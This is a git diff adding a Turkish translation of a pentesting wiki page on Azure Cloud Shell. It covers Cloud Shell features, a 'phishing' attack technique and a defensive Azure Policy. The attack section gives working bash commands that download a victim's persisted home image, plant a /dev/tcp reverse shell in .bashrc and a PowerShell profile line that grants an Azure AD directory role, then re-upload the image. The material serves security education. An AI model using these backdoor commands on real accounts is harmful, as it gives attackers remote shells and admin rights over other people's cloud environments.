Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh

This commit is contained in:
Translator
2025-02-21 13:57:30 +00:00
parent 1c6ab84bb9
commit 01c0ebe043

View File

@@ -4,25 +4,113 @@
## Azure Cloud Shell
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakikalık bir etkinlik süresizliğinden sonra zaman aşımına uğrayan geçici, oturum başına bir ana bilgisayarda çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakikalık bir etkinlik süresizliğinden sonra zaman aşımına uğrayan geçici, oturum başına bir host üzerinde çalışır ve $HOME konumunda 5-GB'lık bir dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde sayım yoktur.
### Ana Özellikler
**Ortam**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposunda yer alan tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir.
**Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin editörleri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
**$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için, otomatik olarak **$HOME\clouddrive** olarak eklenen bir depolama hesabını bağlayın ve **$HOME** dizininiz Azure File Share'de **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın.
**Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Compute, Network ve Storage gibi Azure kaynaklarının dosya sistemi benzeri komutlar kullanılarak kolayca gezinilmesini sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
**Özel Araç Kurulumu**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar.
- **Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenmiş paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
- **Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını (Hesaplama, Ağ ve Depolama gibi) dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
- **Özel Araç Kurulumu**: Cloud Shell'i bir depolama hesabı ile yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını belirli ihtiyaçlarına göre uyarlamalarını sağlar.
- **$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, onu ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz.
- Depolama eklememek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur.
- Oturumlar arasında dosyaları kalıcı hale getirmek için, otomatik olarak `$HOME\clouddrive` olarak eklenen bir **depolama hesabı bağlama** seçeneğiniz vardır; `$HOME` dizininiz **bir Dosya Paylaşımında .img dosyası olarak kaydedilir.**
### Cloud Shell Phishing
Eğer bir saldırgan, yazma ve okuma erişimine sahip olduğu bir Depolama Hesabında diğer kullanıcıların görüntülerini bulursa, görüntüyü indirebilir, **içine bir bash ve PS arka kapı ekleyebilir** ve görüntüyü tekrar Depolama Hesabına yükleyebilir, böylece kullanıcı shell'e eriştiğinde **komutlar otomatik olarak yürütülecektir**.
- **Görüntüyü indir, arka kapıyı ekle ve yükle:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **Sonra, kullanıcıyı https://shell.azure.com/ adresine erişmesi için oltalayın.**
### Cloud Shell Otomatik Depolama Hesaplarını Bulun ve Yasaklayın
Cloud Shell tarafından oluşturulan depolama hesapları **`ms-resource-usage:azure-cloud-shell`** etiketi ile işaretlenmiştir. Bu etikete sahip kaynakların oluşturulmasını devre dışı bırakacak bir Azure kaynak politikası oluşturmak mümkündür.
Cloud Shell tarafından etiketlerle oluşturulan tüm depolama hesaplarını bulun:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
Etiketlere dayalı olarak bulut kabuğu depolaması için otomatik depolama hesaplarının oluşturulmasını yasaklayan politika:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## Referanslar
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Kalıcılık
## Süreklilik
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md